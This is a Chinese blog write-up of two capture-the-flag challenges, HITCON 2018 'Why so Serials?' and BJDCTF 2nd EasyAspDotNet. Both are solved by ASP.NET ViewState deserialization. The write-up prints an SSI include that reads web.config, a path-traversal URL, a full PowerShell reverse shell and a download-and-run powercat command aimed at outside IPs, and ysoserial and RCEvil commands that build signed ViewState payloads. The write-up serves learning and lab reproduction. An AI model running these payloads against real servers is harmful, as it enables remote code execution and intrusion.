asp.net 中 viewstate 反序列化攻击 学习记录

0x00 前言

asp.net 平时接触得少,ctf 中也比较少遇到,之前对他的了解也只限于对 c# 语言的一些简单学习。然后这次在 buu 上面遇到 一道 [BJDCTF 2nd]EasyAspDotNet 题,然后在看wp 的时候,又碰巧了解到 HITCON CTF 2018 - Why so Serials? 和这题差不到,都是利用了viewstate 反序列化来做;然后在查资料的时候,又发现 CVE-2020-0688 exchange远程代码执行漏洞 也是利用viewstate 反序列化漏洞。
于是本着兴趣,也想对asp.net 更加了解一下,就结合这两个题目的复现 一起来学习一下 asp.net 中 viewstate 反序列化攻击

0x01 viewstate简单介绍

(1) 什么是viewstate ? 一句话 简单总结就是 :viewstate 是基于 web forms ,目的是为服务端控件状态进行持久化 。
在这里插入图片描述
关于web forms 和 服务端控件 的学习可以参考 ASP.NET Web Forms - 教程
网上找的一个图说得挺好的:
在这里插入图片描述
(2)viewState 序列化和反序列化 基础知识: viewState 序列化和反序列化

(3)viewState 的安全性:
i . viewState 如果没有加密,则可以直接解密得到里面的内容,burp 会自动viewState 解密,在线解密
可以设置viewSatteEncryptionMode 对viewState 进行加密
在这里插入图片描述
ii. 防篡改 ,客户端提交的 viewState 在服务器端后进行反序列化,并且检索数据,所以 为了防篡改,viewState 需要开启 MAC 验证 。那么mac 是如果产生的呢 ?在cyku 博客中找到了答案
在这里插入图片描述
上面的 validation_key 就是machineKey 中的validation_key 属性

0x02 HITCON CTF 2018 - Why so Serials?

题目给了源代码,
在这里插入图片描述
上传文件的后缀名进行了很多过滤,但是没有过滤 shtml 后缀
在这里插入图片描述
所以第一步就是利用shtml 来读取 web.config

<!-- test.shtml -->
<!--#include file="/web.config" -->

成功读取:
在这里插入图片描述
本来使用的powershell 反弹shell 命令是不需要download 其他文件的,

powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('174.2.45.219',6666);$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

但是使用这个反弹shell 用 ysoserial.net 生成payload 的时候遇到麻烦的转义问题:
在这里插入图片描述

-p ViewState 和 -s 参数不能同时使用

改变思路,使用另一个powershell 反弹shell 命令:

powershell IEX (New-Object System.Net.Webclient).DownloadString
('http://174.2.46.221:8000/powercat.ps1');
powercat -c 174.2.46.221 -p 6666 -e cmd

小号开启另一个buu linux 主机,上传 powercat.ps1 到主机上

在这里插入图片描述
然后主机用python 开启http 服务,监听8000端口 。
在这里插入图片描述
构造payload :

ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter  -c "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://174.2.46.221:8000/powercat.ps1');powercat -c 174.2.46.221 -p 6666 -e cmd"

一开始 直接使用 rcevil.net 中提到的 -f ObjectStateFormatter 来构造(而且cyku ,KaiBro中也是使用ObjectStateFormatter),但是会报错:
在这里插入图片描述
在这里插入图片描述
正在一筹莫展的时候,突然注意到 ysoserial 项目中提到一句:

Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.

于是在网上搜了搜 关于 LosFormatter 类 , ObjectStateFormatter 类 和 viewState 的关系:
LosFormatter:
在这里插入图片描述
ObjectStateFormatter:
在这里插入图片描述
再搜了搜两者的区别
里面说到 这两个类都是用作序列化viewState 的,但是 LosFormatter 后来被ObjectSateFormmatter 替代了,但是为了兼容 ,LosFormatter 也是可以使用的:
在这里插入图片描述

然后试着用 -f LosFormatter -e base64 来生成payload ,生成成功。

再用 RCEvil 来生成 带 MAC 的payload:

RCEvil.NET.exe -u /Default.aspx -v b07b0f97365416288cf0247cffdf135d25f6be87  -m MD5 -p {ysoserial 生成的payload }

生成的payload 做了 url 编码,解码,然后burp 重放:
在这里插入图片描述
此时收到 反弹shell:

在这里插入图片描述
c 盘 根目录下找到flag:
在这里插入图片描述

有点小兴奋,成为第二个做出来的人(虽然是复现,hhhh)
在这里插入图片描述

0x03 BJDCTF 2nd EasyAspDotNet

根据作者 wp 中写道,出题的灵感来自 https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/, 里面提到:
在这里插入图片描述
也就是说在实战中,由于企业的防护,直接使用前面说的 方法来攻击可能行不通,这时可以使用 ActivitySurrogateSelectorFromFile gadget 来实现无文件的 webshell 后门
回到题目,首先 /ImgLoad.aspx?path=…/…/web.config 路径穿越读取web.config 的内容:
在这里插入图片描述

执行命令:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5"

但是报错,说没有找到 e.dll
感觉是不是本地ysoserial编译的问题,然后网上搜了搜,在 https://chen.oinsm.com/2020/03/28/BJDCTF-2nd/ 中提到可以直接下载带exe 的 ysoserial ,然后 把 ExploitClass.cs 和 System.dll ,Sytem.Web.dll 放到 ysoserial.exe 同级目录下,然后执行命令,成功生成payload
burp 抓包,发送payload ,成功执行命令:

在这里插入图片描述
这里需要注意的是 如果使用burp ,需要进行url 编码,使用Postman 的话就可以不需要

0x04 后记

由于对asp.net 不怎么了解,读paper 的时候,这个不懂又去搜一下,那个不懂也得去搜一下,最多的时候浏览器标签都超过30多个了。从一开始 重来没做过asp.net 的题, 也没接触过 viewstate 到 后来 查阅各种资料成功复现这两道viewstate ,一步步了解viewstate 以及解决复现中遇到的问题,确实学到了不少东西。走出自己的舒适区,多去挑战一些自己之前不敢挑战或者说不愿挑战的东西,学习如此,生活亦是如此。

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值